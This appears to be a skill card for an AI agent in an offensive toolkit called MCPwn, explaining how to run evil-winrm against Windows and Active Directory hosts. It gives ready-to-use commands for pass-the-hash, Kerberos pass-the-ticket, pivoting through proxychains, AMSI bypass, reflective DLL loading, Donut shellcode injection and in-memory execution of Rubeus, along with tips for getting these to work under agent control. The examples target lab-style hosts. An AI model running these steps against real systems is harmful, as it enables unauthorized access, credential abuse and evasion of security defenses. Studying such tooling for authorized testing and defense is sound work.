evil-winrm

name	evil-winrm
description	Interactive WinRM shell: Handles domain routing, non-interactive execution constraints, Pass-the-Hash, and path resolutions for Agent execution.

evil-winrm

Goal: Execute commands and obtain interactive sessions on Windows machines over WinRM (Ports 5985 HTTP / 5986 HTTPS).

Agent Constraints & Execution

When an AI Agent executes evil-winrm, standard PTY interactive prompts usually fail or capture nothing via piping (echo whoami | evil-winrm). Do not attempt to pipe into it if the session hangs.

Instead, when obtaining output programmatically through a shell:

1. Locate the absolute path of the gem (e.g., gem contents evil-winrm, or find / -name "evil-winrm" -type f).
2. Use an interactive shell controller, OR pass commands directly through single execution modes if supported.
3. If evil-winrm hangs or drops output, switch to Impacket's wmiexec.py or psexec.py as fallbacks for initial command execution. Caveat: those use NTLM — against Kerberos-only or Protected Users targets they fail; there, drive WinRM PSRP over Kerberos non-interactively (pypsrp Client(...).execute_ps()). See offensive-techniques/active-directory-technique/references/lateral-movement-ad.md.

The Domain/Realm Trap

A common failure when attacking Active Directory via WinRM is attempting to pass the domain with the -d flag. Modern versions of evil-winrm do not use -d for basic domain routing.

• If you are NOT using Kerberos tickets, do not pass a domain flag. Simply pass -u <user> and -p <password>. WinRM will automatically negotiate the domain if the host is a Domain Controller or joined to it.
• If you ARE using Kerberos tickets (-K), you must specify the realm using -r <realm>. Note that Kerberos requires the FQDN to be passed to -i (e.g., -i dc01.contoso.com), not just the IP address, and the KDC must be configured in /etc/krb5.conf.

Core Connection Patterns

# Basic connection (Let it negotiate Domain via NTLM auth inherently)
evil-winrm -i 10.129.20.206 -u 'alex.turner' -p 'Checkpoint2024!'

# Pass-The-Hash (NTLM, Format: NT or LM:NT)
evil-winrm -i 10.129.20.206 -u 'administrator' -H '8846f7eaee8fb117ad06bdd830b7586c'

# Kerberos Pass-The-Ticket (-K supports both ccache and kirbi)
# Note: IP must be the FQDN, and Realm must be specified
evil-winrm -i dc01.checkpoint.htb -r checkpoint.htb -K /tmp/ticket.ccache

# Over SSL (e.g., WinRM running on 5986 HTTPS)
evil-winrm -i 10.129.20.206 -u 'alex.turner' -p 'Checkpoint2024!' -S

Proxychains / MCPwn Agent Gotchas

When running evil-winrm through proxychains (e.g. via a chisel SOCKS pivot):

• Must be interactive: proxychains evil-winrm ... needs a PTY. In MCPwn, use start_interactive_shell, not execute_command.
• run_in_shell works for commands but its completion-marker injection breaks download/upload: the marker string gets appended to the path argument, corrupting it. Use send_to_shell + read_shell_output for file transfers.
• download path resolution: evil-winrm resolves relative to CWD. Absolute paths in the argument get mangled (backslashes stripped). Fix: cd to the target directory first, then download <filename> /local/dest.
• Non-interactive -c / single-command mode: through proxychains it often SIGTERM's before output returns. Use the interactive shell approach instead.

Built-In Menu Commands (Interactive Only)

Once a successful interactive shell is caught via PTY, use menu to see options:

• upload /local/path [C:\remote\path] (Remote path is optional, uses current dir)
• download C:\remote\path [/local/path]
• Bypass-4MSI (Attempts to patch AMSI in memory)
• Dll-Loader -local -path C:\temp\pwn.dll (Loads DLL reflectively in memory)
• Donut-Loader -process_id [PID] -donutfile /tmp/payload.bin (Injects x64 Donut payloads)
• Invoke-Binary /path/to/Rubeus.exe 'param1, param2' (Executes .NET assemblies directly from memory).